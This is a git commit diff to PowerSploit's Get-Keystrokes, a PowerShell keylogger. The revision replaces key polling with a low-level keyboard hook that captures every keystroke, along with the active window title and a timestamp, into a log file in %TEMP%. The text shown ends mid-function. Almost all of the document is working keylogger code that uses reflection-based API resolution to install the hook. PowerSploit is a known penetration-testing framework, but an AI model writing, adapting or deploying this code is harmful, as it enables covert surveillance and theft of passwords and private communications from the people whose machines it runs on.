new Get-Keystrokes
This commit is contained in:
parent
872d4b0eb7
commit
f66e219bd6
|
|
@ -1,11 +1,12 @@
|
||||||
function Get-Keystrokes {
|
function Get-Keystrokes {
|
||||||
<#
|
<#
|
||||||
.SYNOPSIS
|
.SYNOPSIS
|
||||||
|
|
||||||
Logs keys pressed, time and the active window.
|
Logs keys pressed, time and the active window.
|
||||||
|
|
||||||
PowerSploit Function: Get-Keystrokes
|
PowerSploit Function: Get-Keystrokes
|
||||||
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||||
|
Revised By: Jesse Davis (@secabstraction)
|
||||||
License: BSD 3-Clause
|
License: BSD 3-Clause
|
||||||
Required Dependencies: None
|
Required Dependencies: None
|
||||||
Optional Dependencies: None
|
Optional Dependencies: None
|
||||||
|
|
@ -14,248 +15,358 @@ function Get-Keystrokes {
|
||||||
|
|
||||||
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
||||||
|
|
||||||
.PARAMETER CollectionInterval
|
.PARAMETER Timeout
|
||||||
|
|
||||||
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
||||||
|
|
||||||
.PARAMETER PollingInterval
|
|
||||||
|
|
||||||
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
|
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Get-Keystrokes -LogPath C:\key.log
|
Get-Keystrokes -LogPath C:\key.log
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Get-Keystrokes -CollectionInterval 20
|
Get-Keystrokes -Timeout 20
|
||||||
|
|
||||||
.EXAMPLE
|
|
||||||
|
|
||||||
Get-Keystrokes -PollingInterval 35
|
|
||||||
|
|
||||||
.LINK
|
.LINK
|
||||||
|
|
||||||
http://www.obscuresec.com/
|
http://www.obscuresec.com/
|
||||||
http://www.exploit-monday.com/
|
http://www.exploit-monday.com/
|
||||||
|
https://github.com/secabstraction
|
||||||
#>
|
#>
|
||||||
[CmdletBinding()] Param (
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
[Parameter(Position = 0)]
|
[Parameter(Position = 0)]
|
||||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||||
[String]
|
[String]$LogPath = "$($Env:TEMP)\key.log",
|
||||||
$LogPath = "$($Env:TEMP)\key.log",
|
|
||||||
|
|
||||||
[Parameter(Position = 1)]
|
[Parameter(Position = 1)]
|
||||||
[UInt32]
|
[Double]$Timeout,
|
||||||
$CollectionInterval,
|
|
||||||
|
|
||||||
[Parameter(Position = 2)]
|
[Parameter()]
|
||||||
[Int32]
|
[Switch]$Return
|
||||||
$PollingInterval = 40
|
|
||||||
)
|
)
|
||||||
|
|
||||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||||
|
|
||||||
Write-Verbose "Logging keystrokes to $LogPath"
|
$Script = {
|
||||||
|
Param (
|
||||||
|
[Parameter(Position = 0)]
|
||||||
|
[String]$LogPath,
|
||||||
|
|
||||||
$Initilizer = {
|
[Parameter(Position = 1)]
|
||||||
$LogPath = 'REPLACEME'
|
[Double]$Timeout
|
||||||
|
)
|
||||||
|
|
||||||
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
|
function local:Get-DelegateType {
|
||||||
|
Param (
|
||||||
|
[OutputType([Type])]
|
||||||
|
|
||||||
|
[Parameter( Position = 0)]
|
||||||
|
[Type[]]
|
||||||
|
$Parameters = (New-Object Type[](0)),
|
||||||
|
|
||||||
|
[Parameter( Position = 1 )]
|
||||||
|
[Type]
|
||||||
|
$ReturnType = [Void]
|
||||||
|
)
|
||||||
|
|
||||||
function KeyLog {
|
$Domain = [AppDomain]::CurrentDomain
|
||||||
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
|
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
|
||||||
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||||
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||||
|
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||||
|
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||||
|
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||||
|
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||||
|
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||||
|
|
||||||
|
$TypeBuilder.CreateType()
|
||||||
|
}
|
||||||
|
function local:Get-ProcAddress {
|
||||||
|
Param (
|
||||||
|
[OutputType([IntPtr])]
|
||||||
|
|
||||||
|
[Parameter( Position = 0, Mandatory = $True )]
|
||||||
|
[String]
|
||||||
|
$Module,
|
||||||
|
|
||||||
|
[Parameter( Position = 1, Mandatory = $True )]
|
||||||
|
[String]
|
||||||
|
$Procedure
|
||||||
|
)
|
||||||
|
|
||||||
try
|
# Get a reference to System.dll in the GAC
|
||||||
{
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||||
$ImportDll = [User32]
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||||
}
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||||
catch
|
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||||
{
|
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
# Get a handle to the module specified
|
||||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
|
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||||
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
|
$tmpPtr = New-Object IntPtr
|
||||||
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||||
|
|
||||||
|
# Return the address of the function
|
||||||
|
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||||
|
}
|
||||||
|
|
||||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
#region Imports
|
||||||
$FieldArray = [Reflection.FieldInfo[]] @(
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
|
|
||||||
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
|
|
||||||
)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
|
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
|
||||||
$FieldValueArray = [Object[]] @(
|
|
||||||
'GetAsyncKeyState',
|
|
||||||
$True,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
|
# SetWindowsHookEx
|
||||||
$FieldValueArray = [Object[]] @(
|
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
|
||||||
'GetKeyboardState',
|
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
|
||||||
$True,
|
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
|
# CallNextHookEx
|
||||||
$FieldValueArray = [Object[]] @(
|
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
|
||||||
'MapVirtualKey',
|
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||||
$False,
|
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
|
# UnhookWindowsHookEx
|
||||||
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
|
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
|
||||||
$FieldValueArray = [Object[]] @(
|
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
|
||||||
'ToUnicode',
|
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
|
||||||
$False,
|
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
|
# PeekMessage
|
||||||
$FieldValueArray = [Object[]] @(
|
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
|
||||||
'GetForegroundWindow',
|
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
|
||||||
$True,
|
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
|
||||||
$False,
|
|
||||||
$True,
|
|
||||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
|
||||||
[Runtime.InteropServices.CharSet]::Auto
|
|
||||||
)
|
|
||||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
|
||||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
|
||||||
|
|
||||||
$ImportDll = $TypeBuilder.CreateType()
|
# GetAsyncKeyState
|
||||||
}
|
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
|
||||||
|
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
|
||||||
|
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
|
||||||
|
|
||||||
Start-Sleep -Milliseconds $PollingInterval
|
# GetForegroundWindow
|
||||||
|
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
|
||||||
|
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
|
||||||
|
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
|
||||||
|
|
||||||
try
|
# GetWindowText
|
||||||
{
|
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
|
||||||
|
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
|
||||||
|
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
|
||||||
|
|
||||||
#loop through typeable characters to see which is pressed
|
# GetModuleHandle
|
||||||
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
|
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
|
||||||
{
|
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||||
$VirtualKey = $TypeableChar
|
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
|
||||||
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
|
|
||||||
|
#endregion Imports
|
||||||
|
|
||||||
#if the key is pressed
|
'"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode
|
||||||
if (($KeyResult -band 0x8000) -eq 0x8000)
|
|
||||||
{
|
|
||||||
|
|
||||||
#check for keys not mapped by virtual keyboard
|
$CallbackScript = {
|
||||||
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
|
Param (
|
||||||
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
|
[Parameter()]
|
||||||
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
|
[Int32]$Code,
|
||||||
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
|
|
||||||
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
|
|
||||||
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
|
|
||||||
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
|
|
||||||
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
|
|
||||||
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
|
|
||||||
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
|
|
||||||
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
|
|
||||||
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
|
|
||||||
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
|
|
||||||
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
|
|
||||||
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
|
|
||||||
|
|
||||||
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
|
[Parameter()]
|
||||||
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
|
[IntPtr]$wParam,
|
||||||
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
|
|
||||||
if ($TabKey) {$LogOutput += '[Tab]'}
|
|
||||||
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
|
|
||||||
if ($DeleteKey) {$LogOutput += '[Delete]'}
|
|
||||||
if ($EnterKey) {$LogOutput += '[Enter]'}
|
|
||||||
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
|
|
||||||
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
|
|
||||||
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
|
|
||||||
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
|
|
||||||
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
|
|
||||||
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
|
|
||||||
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
|
|
||||||
|
|
||||||
#check for capslock
|
[Parameter()]
|
||||||
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
|
[IntPtr]$lParam
|
||||||
|
)
|
||||||
|
|
||||||
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
|
$Keys = [Windows.Forms.Keys]
|
||||||
$KeyboardState = New-Object Byte[] 256
|
|
||||||
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
|
$MsgType = $wParam.ToInt32()
|
||||||
|
|
||||||
#create a stringbuilder object
|
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
|
||||||
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
|
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
|
||||||
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
|
|
||||||
|
$hWindow = $GetForegroundWindow.Invoke()
|
||||||
|
|
||||||
#convert typed characters
|
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
|
||||||
if ($UnicodeKey -gt 0) {
|
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
|
||||||
$TypedCharacter = $StringBuilder.ToString()
|
else { $Shift = $false }
|
||||||
$LogOutput += ('['+ $TypedCharacter +']')
|
|
||||||
}
|
|
||||||
|
|
||||||
#get the title of the foreground window
|
$Caps = [Console]::CapsLock
|
||||||
$TopWindow = $ImportDll::GetForegroundWindow()
|
|
||||||
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
|
|
||||||
|
|
||||||
#get the current DTG
|
# Read virtual-key from buffer
|
||||||
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
|
||||||
|
|
||||||
#Create a custom object to store results
|
|
||||||
$ObjectProperties = @{'Key Typed' = $LogOutput;
|
|
||||||
'Time' = $TimeStamp;
|
|
||||||
'Window Title' = $WindowTitle}
|
|
||||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
|
||||||
|
|
||||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
|
||||||
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
|
|
||||||
|
|
||||||
#return results
|
|
||||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
|
||||||
|
|
||||||
|
# Parse virtual-key
|
||||||
|
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
|
||||||
|
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
|
||||||
|
else { $Key = $vKey.ToString().ToLower() }
|
||||||
|
}
|
||||||
|
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
|
||||||
|
switch ($vKey.value__) {
|
||||||
|
96 { $Key = '0' }
|
||||||
|
97 { $Key = '1' }
|
||||||
|
98 { $Key = '2' }
|
||||||
|
99 { $Key = '3' }
|
||||||
|
100 { $Key = '4' }
|
||||||
|
101 { $Key = '5' }
|
||||||
|
102 { $Key = '6' }
|
||||||
|
103 { $Key = '7' }
|
||||||
|
104 { $Key = '8' }
|
||||||
|
105 { $Key = '9' }
|
||||||
|
106 { $Key = "*" }
|
||||||
|
107 { $Key = "+" }
|
||||||
|
108 { $Key = "|" }
|
||||||
|
109 { $Key = "-" }
|
||||||
|
110 { $Key = "." }
|
||||||
|
111 { $Key = "/" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) {
|
||||||
|
if ($Shift) {
|
||||||
|
switch ($vKey.value__) { # Shiftable characters
|
||||||
|
48 { $Key = ')' }
|
||||||
|
49 { $Key = '!' }
|
||||||
|
50 { $Key = '@' }
|
||||||
|
51 { $Key = '#' }
|
||||||
|
52 { $Key = '$' }
|
||||||
|
53 { $Key = '%' }
|
||||||
|
54 { $Key = '^' }
|
||||||
|
55 { $Key = '&' }
|
||||||
|
56 { $Key = '*' }
|
||||||
|
57 { $Key = '(' }
|
||||||
|
186 { $Key = ':' }
|
||||||
|
187 { $Key = '+' }
|
||||||
|
188 { $Key = '<' }
|
||||||
|
189 { $Key = '_' }
|
||||||
|
190 { $Key = '>' }
|
||||||
|
191 { $Key = '?' }
|
||||||
|
192 { $Key = '~' }
|
||||||
|
219 { $Key = '{' }
|
||||||
|
220 { $Key = '|' }
|
||||||
|
221 { $Key = '}' }
|
||||||
|
222 { $Key = '"' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
switch ($vKey.value__) {
|
||||||
|
48 { $Key = '0' }
|
||||||
|
49 { $Key = '1' }
|
||||||
|
50 { $Key = '2' }
|
||||||
|
51 { $Key = '3' }
|
||||||
|
52 { $Key = '4' }
|
||||||
|
53 { $Key = '5' }
|
||||||
|
54 { $Key = '6' }
|
||||||
|
55 { $Key = '7' }
|
||||||
|
56 { $Key = '8' }
|
||||||
|
57 { $Key = '9' }
|
||||||
|
186 { $Key = ';' }
|
||||||
|
187 { $Key = '=' }
|
||||||
|
188 { $Key = ',' }
|
||||||
|
189 { $Key = '-' }
|
||||||
|
190 { $Key = '.' }
|
||||||
|
191 { $Key = '/' }
|
||||||
|
192 { $Key = '`' }
|
||||||
|
219 { $Key = '[' }
|
||||||
|
220 { $Key = '\' }
|
||||||
|
221 { $Key = ']' }
|
||||||
|
222 { $Key = "`'" }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch {}
|
else {
|
||||||
|
switch ($vKey) {
|
||||||
|
$Keys::F1 { $Key = '<F1>' }
|
||||||
|
$Keys::F2 { $Key = '<F2>' }
|
||||||
|
$Keys::F3 { $Key = '<F3>' }
|
||||||
|
$Keys::F4 { $Key = '<F4>' }
|
||||||
|
$Keys::F5 { $Key = '<F5>' }
|
||||||
|
$Keys::F6 { $Key = '<F6>' }
|
||||||
|
$Keys::F7 { $Key = '<F7>' }
|
||||||
|
$Keys::F8 { $Key = '<F8>' }
|
||||||
|
$Keys::F9 { $Key = '<F9>' }
|
||||||
|
$Keys::F10 { $Key = '<F10>' }
|
||||||
|
$Keys::F11 { $Key = '<F11>' }
|
||||||
|
$Keys::F12 { $Key = '<F12>' }
|
||||||
|
|
||||||
|
$Keys::Snapshot { $Key = '<Print Screen>' }
|
||||||
|
$Keys::Scroll { $Key = '<Scroll Lock>' }
|
||||||
|
$Keys::Pause { $Key = '<Pause/Break>' }
|
||||||
|
$Keys::Insert { $Key = '<Insert>' }
|
||||||
|
$Keys::Home { $Key = '<Home>' }
|
||||||
|
$Keys::Delete { $Key = '<Delete>' }
|
||||||
|
$Keys::End { $Key = '<End>' }
|
||||||
|
$Keys::Prior { $Key = '<Page Up>' }
|
||||||
|
$Keys::Next { $Key = '<Page Down>' }
|
||||||
|
$Keys::Escape { $Key = '<Esc>' }
|
||||||
|
$Keys::NumLock { $Key = '<Num Lock>' }
|
||||||
|
$Keys::Capital { $Key = '<Caps Lock>' }
|
||||||
|
$Keys::Tab { $Key = '<Tab>' }
|
||||||
|
$Keys::Back { $Key = '<Backspace>' }
|
||||||
|
$Keys::Enter { $Key = '<Enter>' }
|
||||||
|
$Keys::Space { $Key = '< >' }
|
||||||
|
$Keys::Left { $Key = '<Left>' }
|
||||||
|
$Keys::Up { $Key = '<Up>' }
|
||||||
|
$Keys::Right { $Key = '<Right>' }
|
||||||
|
$Keys::Down { $Key = '<Down>' }
|
||||||
|
$Keys::LMenu { $Key = '<Alt>' }
|
||||||
|
$Keys::RMenu { $Key = '<Alt>' }
|
||||||
|
$Keys::LWin { $Key = '<Windows Key>' }
|
||||||
|
$Keys::RWin { $Key = '<Windows Key>' }
|
||||||
|
$Keys::LShiftKey { $Key = '<Shift>' }
|
||||||
|
$Keys::RShiftKey { $Key = '<Shift>' }
|
||||||
|
$Keys::LControlKey { $Key = '<Ctrl>' }
|
||||||
|
$Keys::RControlKey { $Key = '<Ctrl>' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get foreground window's title
|
||||||
|
$Title = New-Object Text.Stringbuilder 256
|
||||||
|
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
|
||||||
|
|
||||||
|
# Define object properties
|
||||||
|
$Props = @{
|
||||||
|
Key = $Key
|
||||||
|
Time = [DateTime]::Now
|
||||||
|
Window = $Title.ToString()
|
||||||
|
}
|
||||||
|
|
||||||
|
$obj = New-Object psobject -Property $Props
|
||||||
|
|
||||||
|
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||||
|
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
|
||||||
|
|
||||||
|
#return results
|
||||||
|
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||||
}
|
}
|
||||||
|
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
|
||||||
}
|
}
|
||||||
|
|
||||||
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
|
# Cast scriptblock as LowLevelKeyboardProc callback
|
||||||
|
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||||
|
$Callback = $CallbackScript -as $Delegate
|
||||||
|
|
||||||
|
# Get handle to PowerShell for hook
|
||||||
|
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
|
||||||
|
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
|
||||||
|
|
||||||
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
|
# Set WM_KEYBOARD_LL hook
|
||||||
|
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
|
||||||
|
|
||||||
|
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
|
||||||
|
|
||||||
if ($PSBoundParameters['CollectionInterval'])
|
while ($true) {
|
||||||
{
|
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
|
||||||
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
|
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
|
||||||
|
Start-Sleep -Milliseconds 10
|
||||||
|
}
|
||||||
|
|
||||||
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
|
$Stopwatch.Stop()
|
||||||
Stop-Job -Name Keylogger
|
|
||||||
Unregister-Event -SourceIdentifier ElapsedAction
|
# Remove the hook
|
||||||
$Sender.Stop()
|
